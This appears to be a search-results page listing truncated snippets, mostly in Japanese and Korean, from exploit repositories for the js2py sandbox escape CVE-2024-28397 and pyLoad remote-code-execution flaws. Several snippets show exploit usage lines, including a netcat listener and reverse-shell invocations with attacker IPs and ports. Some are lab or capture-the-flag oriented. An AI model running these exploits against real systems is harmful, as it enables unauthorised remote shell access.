75 matches found
pyload-ng js2py - Remote Code Execution
An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call. id: CVE-2024-28397 info: name: pyload-ng js2py - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: medium description: | An issue in the...
CVE-2023-0297
pyloadCVE-2023-0297PoC pyLoad 0.5.0b3.dev31 より前のバージョンにおけるコードインジェクションの脆弱性により、js2py の機能を悪用して認証前の RCE が可能になります。 使用方法 CVE-2023-0297poc.exe の使用方法: root@kitploit: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...
CVE-2023-0297_Pre-auth_RCE_in_pyLoad
CVE-2023-0297: pyLoadにおける事前認証RCE pyLoadにおける事前認証RCE発見のストーリー TL;DR pyLoad 0.5.0b3.dev31より前のバージョンにおけるコードインジェクションの脆弱性により、js2pyの機能を悪用して事前認証RCEが可能になります。 レポートはこちら、エクスプロイトコードはこちらで見つけられます。 詳細 pyLoadはPythonで書かれたOSSのダウンロードマネージャで、Webインターフェースを介して管理できます。そのGitHubリポジトリは2023年1月9日時点で約2.8kのスターを獲得しています。...
CVE-2024-28397-js2py-Sandbox-Escape
소개 중국어 분석 중국어 분석 영어 js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼가 웹사이트의 자바스크립트 코드를 파싱하는 데 사용됩니다. js2py 내부의 전역 변수 구현에 취약점이 존재하여, 공격자가 js2py 환경에서 파이썬 객체에 대한 참조를 획득할 수 있게 됩니다. 이를 통해 공격자는 JS 환경을 탈출하여 호스트에서 임의의 명령을 실행할 수 있습니다. 일반적으로 사용자는 js2py.disablepyimport를 호출하여 JavaScript...
CVE-2024-39205-Pyload-RCE
CVE-2024-39205-Pyload-RCE js2py サンドボックスエスケープを利用した Pyload RCE 概要 python3.11 以下で実行されている pyload-ng は、RCE に対して脆弱です。攻撃者は任意のシェルコマンドを含むリクエストを送信するだけで、被害サーバー上で即座にそのコマンドが実行されます。 修正 pyload-ng の最新版にアップグレードするか、単に pyload を python3.12 以上で実行してください。 詳細 js2py には、CVE-2024-28397 として割り当てられたサンドボックスエスケープの脆弱性があり、これは...
Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-
リモートコード実行 – CVE-2024-28397 pyload-ng / js2py このリポジトリには、js2py の安全でない使用に起因し pyload-ng に影響を与えるリモートコード実行脆弱性 CVE-2024-28397 の Proof-of-Concept PoC エクスプロイトが含まれています。 免責事項: この PoC は教育および研究目的のみ で使用してください。 所有していないシステム、またはテストする明示的な許可を得ていないシステムでは使用しないでください。 作者は、このコードの誤用について一切責任を負いません 。 脆弱性の詳細 CVE ID:...
CVE-2024-28397-RCE
CVE-2024-28397 RCE スクリプト デフォルトのリバースシェルペイロードとオプションのコマンド引数が許可されています エクスプロイトは js2py = v0.74 で動作します 必要条件 Python 3.x requests ライブラリ pip install requests Netcat リスナー リバースシェル用 使用例 リバースシェル: root@kitploit: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 カスタムコマンド:...
CVE-2024-28397-Js2Py-RCE-Exploit
💡 深掘り: 詳細なテクニカルブリーフィング PDF を読むにはここをクリックしてください。 CVE-2024-28397: Js2Py サンドボックスエスケープペイロードジェネレーター CVE-2024-28397 用のプロフェッショナルなペイロードジェネレーターです。このツールは、js2py サンドボックス バージョン 0.74 以下 をエスケープし、ターゲットシステム上で任意のコマンドを実行するように設計された悪意のある JavaScript コードを生成します。 🚨 脆弱性の詳細 CVE ID: CVE-2024-28397 影響を受けるコンポーネント: Js2Py = 0.74...
CVE-2024-28397-js2py-Sandbox-Escape
CVE-2024-28397-js2py-Sandbox-Escape js2py 脆弱性分析 はじめに js2py は、Python インタプリタ内で JavaScript コードを評価できる人気の Python パッケージです。さまざまな Web スクレイパーが、Web サイト上の JavaScript コードを解析するために使用しています。 js2py 内部のグローバル変数の実装に脆弱性が存在し、攻撃者が js2py 環境内の Python オブジェクトへの参照を取得できるようになります。これにより、攻撃者は JS 環境から脱出して、ホスト上で任意のコマンドを実行できるようになりま...
CVE-2024-28397
CVE-2024-28397 js2py サンドボックスエスケープエクスプロイト - CodePartTwo - HTB CVE-2024-28397 用の Python エクスプロイトコードで、js2py = 0.74 の重大な脆弱性を利用してサンドボックスエスケープとリモートコード実行を可能にします。 🚨 脆弱性の詳細 CVE ID : CVE-2024-28397 影響を受けるソフトウェア : js2py = 0.74 深刻度 : 重大 CVSS 9.8 タイプ : サンドボックスエスケープ / リモートコード実行 発見日 : 2024年2月 説明 js2py は、Python...
CVE-2024-28397-command-execution-poc
CVE-2024-28397-command-execution-poc この脆弱性は、js2py のサンドボックス処理が不完全であることに起因します。巧妙に細工された JavaScript が Python の内部オブジェクトモデルを辿り、subprocess.Popen などの危険なクラスへアクセスすることで、任意のコマンド実行が可能になります。 JSON-Parsers & RCE Exploit PoC 概要 このリポジトリには、js2py.disablepyimport を介したサンドボックス回避 を実証する概念実証（PoC）ペイロードが含まれています。これは 0.74 までの...
CVE-2024-28397-Js2Py-RCE
CVE-2024-28397 - Js2Py サンドボックスエスケープペイロードジェネレーター このスクリプトは、Python内部がオブジェクトラッパーを通じて露出している脆弱な環境で、Js2Pyによって評価可能なJavaScriptペイロードを生成します。 使い方 基本的なコマンド実行: root@kitploit: python3 cve-2024-28397.py -c "id" コンパクトな1行ペイロードを生成: root@kitploit: python3 cve-2024-28397.py -c "whoami" --compact Base64を使ったリバースシェル...
CVE-2024-28397-Exploit-Automation
CVE-2024-28397 エクスプロイト自動化 js2py サンドボックスエスケープ の脆弱性（CVE-2024-28397）を悪用するための Python 自動化スクリプトです。このツールは、脆弱性のあるインスタンス上でリモートコード実行（RCE）を達成するためのペイロード生成および配信プロセスを自動化します。 ⚠️ 法的免責事項 事前の相互同意なしに対象に攻撃を仕掛けるためにこのツールを使用することは違法です。このリポジトリは教育目的のみで提供されています。作者はこの情報の誤用について一切の責任を負いません。このツールは、権限が付与されたセキュリティ評価および Capture Th...
CVE-2024-28397-Reverse-Shell
CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...
exploit-js2py
CVE-2024-28397 - js2py サンドボックス脱出 説明 CVE-2024-28397 脆弱性は、Python インタプリタ内で JavaScript コードを実行できる Python ライブラリである js2py の v0.74 までのバージョンに影響します。 この欠陥は、JavaScript コードが Python オブジェクトにアクセスするのを防ぐはずの disablepyimport メソッドの実装にあります。しかし、実装の失敗により、攻撃者はこの制限を回避し、JavaScript 環境内で Python...
CVE-2024-28397-exploit
js2py 샌드박스 탈출 CVE-2024-28397 js2py = 0.74에서 샌드박스 탈출을 통한 원격 명령 실행RCE 익스플로잇. 안전하지 않은 JavaScript 평가를 통해 호스트 시스템에서 임의의 코드를 실행할 수 있습니다. 취약점 CVE : CVE-2024-28397 구성 요소 : js2py 영향을 받는 버전 : = 0.74 영향 : 원격 코드 실행 Remote Code Execution 벡터 : JavaScript 샌드박스 탈출 취약점 분석 : CVE-2024-28397-js2py-Sandbox-Escape 특징...
js2py-Sandbox-Escape-CVE-2024-28397-RCE
CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇 js2py 샌드박스 탈출 취약점CVE-2024-28397을 대상으로 하는 익스플로잇 스크립트 모음입니다. 이 취약점은 Python 객체 내부 조사를 통해 임의 코드 실행을 허용합니다. 🔍 취약점 개요 js2py 라이브러리에는 JavaScript의 Object.getOwnPropertyNames 메서드를 통해 내부 Python 객체에 접근하여 공격자가 임의의 Python 코드를 실행할 수 있는 치명적인 샌드박스 탈출 취약점이 있습니다. 기술적 세부 사항 CVE 식별자...
CVE-2024-28397-js2py-Sandbox-Escape
소개 中文 js2py는 파이썬 인터프리터 내에서 자바스크립트 코드를 평가할 수 있는 인기 있는 파이썬 패키지입니다. 다양한 웹 스크래퍼가 웹사이트의 자바스크립트 코드를 파싱하는 데 사용합니다. js2py 내 전역 변수 구현에 취약점이 존재하며, 이를 통해 공격자는 js2py 환경에서 파이썬 객체에 대한 참조를 얻을 수 있습니다. 결과적으로 공격자는 js 환경을 벗어나 호스트에서 임의의 명령을 실행할 수 있습니다. 일반적으로 사용자는 js2py.disablepyimport를 호출하여 자바스크립트 코드가 js2py 환경을 벗어나는...
CVE-2024-28397-Js2Py-RCE
CVE-2024-28397-Js2Py-RCE 説明 このリポジトリには、Python用のJs2Py JavaScriptインタプリタにおけるサンドボックスエスケープの脆弱性であるCVE-2024-28397に対するPythonベースのProof of Concept（PoC）が含まれています。対象のアプリケーションがJs2Py経由で信頼できないJSコードを評価する場合、攻撃者はサンドボックスから脱出し、任意のPythonコードを実行できます。これを利用して、脆弱なシステム上でリモートコード実行（RCE）とリバースシェルを獲得できます。...